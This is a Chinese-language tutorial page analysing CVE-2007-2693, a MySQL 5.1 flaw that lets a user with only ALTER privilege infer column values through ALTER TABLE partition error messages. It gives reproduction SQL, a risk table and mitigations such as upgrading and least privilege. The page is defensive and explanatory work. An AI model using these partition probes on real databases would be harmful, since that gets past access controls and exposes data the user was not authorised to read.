首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

MySQL ALTER TABLE 資訊洩露漏洞 (CVE-2007-2693) 分析:觸發條件、測試復現與修復建議

     編輯:MySQL 綜合教學

MySQL ALTER TABLE 分區語句資訊洩露漏洞深度分析

CVE-2007-2693 / BUGTRAQ ID: 24008:MySQL 5.1.x < 5.1.18 版本中,擁有 ALTER 權限但無 SELECT 權限的使用者,可透過 ALTER TABLE ... PARTITION 錯誤訊息推測資料表內容。

一、影響版本

  • 受影響:MySQL 5.1.x < 5.1.18
  • 不受影響:MySQL 5.1.18+、5.0 系列(無分區功能)

二、漏洞原理

ALTER TABLE ... PARTITION BY LIST 若分區定義未涵蓋現有資料值,MySQL 回傳錯誤:

ERROR 1513 (HY000): Table has no partition for value 18

攻擊者可藉由調整分區範圍,透過「有無報錯」二分法推測欄位具體值,繞過 SELECT 權限管控。

三、測試復現步驟

1. 建立測試環境

-- root 執行
CREATE TABLE tu (s1 INT);
INSERT INTO tu VALUES (1);
GRANT ALTER ON tu TO 'molly'@'localhost';

2. 攻擊者視角

-- molly 登入
SELECT * FROM tu;
-- ERROR 1142 (42000): SELECT command denied

-- 嘗試分區包含值 1
ALTER TABLE tu PARTITION BY LIST (s1) (PARTITION p1 VALUES IN (1));
-- Query OK

-- 嘗試分區包含值 2(實際資料為 1)
ALTER TABLE tu PARTITION BY LIST (s1) (PARTITION p1 VALUES IN (2));
-- ERROR 1513 (HY000): Table has no partition for value 1
-- → 推測存在 s1 = 1 的列

四、風險評估

五、修復與緩解方案

  1. 升級:MySQL 5.1.18+ 已修復(錯誤訊息不再洩露具體值)
  2. 最小權限:非 DBA 角色不授予 ALTER 權限,結構變更走審核流程
  3. 審計監控:記錄所有 ALTER TABLE ... PARTITION 操作,異常頻率告警
  4. 資料敏感度分級:高敏感表嚴格限制 ALTER 權限,僅限核心 DBA

六、相關最佳實踐

  • 定期掃描 information_schema.user_privileges 審計 ALTER 權限分佈
  • 生產環境禁用分區表或限制分區操作
  • 資料庫防火牆/代理層攔截異常 DDL 模式

雖為 2007 年老漏洞,但「錯誤訊息洩露資訊」類缺陷屢見不鮮,權限最小化與錯誤訊息脫敏仍是核心防禦準則。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
維度等級說明
機密性影響部分可推測特定欄位數值,非全表導出
完整性影響無無法修改資料
可用性影響無不導致服務中斷
攻擊複雜度低僅需 ALTER 權限,無需複雜載荷
權限前提ALTER 權限通常授予開發/運維角色